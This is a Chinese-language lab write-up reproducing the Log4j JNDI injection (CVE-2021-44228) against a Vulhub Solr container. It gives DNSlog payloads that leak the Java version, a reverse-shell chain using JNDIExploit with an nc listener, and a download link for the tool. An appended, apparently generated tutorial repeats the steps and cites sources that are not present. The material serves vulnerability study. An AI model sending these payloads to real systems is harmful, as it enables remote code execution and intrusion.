log4j-CVE-2021-44228-vulhub复现

微信公众号:乌鸦安全 

图片

扫取二维码获取更多信息!

 

01 漏洞描述

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

参考地址:

https://github.com/vulhub/vulhub

本次漏洞复现也是基于Vulhub

02 漏洞环境搭建

docker-compose up -d --build

图片

访问http://127.0.0.1:8983/solr/#/

图片

03 Dnslog测试

在DNSlog平台请求一个dns域名:3j7r1s.dnslog.cn

图片

构造:

${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3a5h27.dnslog.cn}

直接访问:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3j7r1s.dnslog.cn}

图片

此时直接得到版本信息:1.8.0

图片

或者是请求:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://cd9097fd.dns.1433.eu.org}

图片

04 反弹shell

反弹shell需要使用JNDIExploit.v1.2,可以从下面百度云直接下载:

详细的信息可以参考上一篇文章

https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5


 

图片

网络拓扑:

图片

攻击机:10.211.55.23  

靶机:10.211.55.2

中转机:10.211.55.3 

中转机java版本:1.8.0_172

首先在中转机上使用JNDIExploit-1.2-SNAPSHOT.jar文件使用java启动,命令如下:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.211.55.3

  其中:10.211.55.3为中转机的ip地址
 

图片

然后在攻击机上开启监听:nc -lvvp 6666

图片

此时构造如下命令:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://10.211.55.3:1389/Basic/ReverseShell/10.211.55.23/6666}

其中:

  • http://127.0.0.1:8983为靶机的地址

  • 10.211.55.3为中转机地址

  • 10.211.55.23为Kali攻击机ip地址,此时要反弹shell

更多用法可以参考:

https://github.com/zzwlpx/JNDIExploit

直接执行之后,shell就弹回来了

图片

此时在中转机器上:

图片

成功!

清除环境:docker-compose down

图片

05 注 意 事 项

中转机的java版本:1.8.0_172

图片

 

06 小插曲

微信公众号:乌鸦安全 

图片

扫取二维码获取更多信息! 

 

### CVE-2021-44228 漏洞复现环境搭建教程 #### 一、概述 CVE-2021-44228Log4j2 的远程代码执行漏洞,影响范围广泛。为了研究该漏洞的工作原理及其潜在风险,可以通过 VulHub 靶场来快速构建复现环境。 --- #### 二、VulHub 环境准备 VulHub 是一个基于 Docker 和 Docker Compose 构建的安全漏洞学习平台,提供了多种常见漏洞复现环境。以下是针对 CVE-2021-44228 的具体操作步骤: 1. **安装依赖工具** - 安装 Docker 和 Docker Compose 工具。 - 确保系统已正确配置并运行 `docker` 和 `docker-compose` 命令[^2]。 2. **克隆 VulHub 仓库** 使用 Git 将 VulHub 项目克隆到本地: ```bash git clone https://github.com/vulhub/vulhub.git ``` 3. **切换至目标目录** 进入 CVE-2021-44228 对应的文件夹路径: ```bash cd vulhub/log4j/CVE-2021-44228/ ``` 4. **启动容器服务** 执行以下命令以启动所需的容器服务: ```bash docker-compose up -d ``` 此时会自动拉取必要的镜像并初始化环境。完成后可以访问 http://<your-ip>:8983 来查看 Apache Solr 的管理界面[^4]。 5. **验证环境状态** 如果一切正常,应该能够看到 Solr Dashboard 页面加载成功。这表明漏洞复现所需的服务已经就绪。 --- #### 三、漏洞利用测试 完成上述准备工作之后,可按照如下方法尝试触发 JNDI 注入攻击向量: 1. 下载用于模拟恶意行为的 Exploit 工具包: ```bash wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/jndi-exploit-server.jar ``` 2. 启动监听端口等待连接请求到来: ```bash java -jar jndi-exploit-server.jar <local-ip> ``` 3. 修改日志记录语句使其包含特定 payload 数据结构形式,例如 `${jndi:ldap://<attacker-ip>/a}` 并发送给目标应用程序处理逻辑部分去解析它从而实现 RCE 效果[^5]。 --- #### 四、清理工作 实验结束后务必及时停止所有正在运行中的实例资源以免造成不必要的安全隐患或者性能消耗等问题发生: ```bash docker-compose down ``` 此命令将会终止当前 session 中所有的关联进程并将它们移除掉同时释放所占用的相关物理硬件设备上的存储空间位置等宝贵计算资源[^3]。 --- ### 注意事项 - 实验应在隔离环境中进行,切勿对外网开放任何敏感接口。 - 测试完毕后需立即删除相关数据以防泄露隐私信息。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值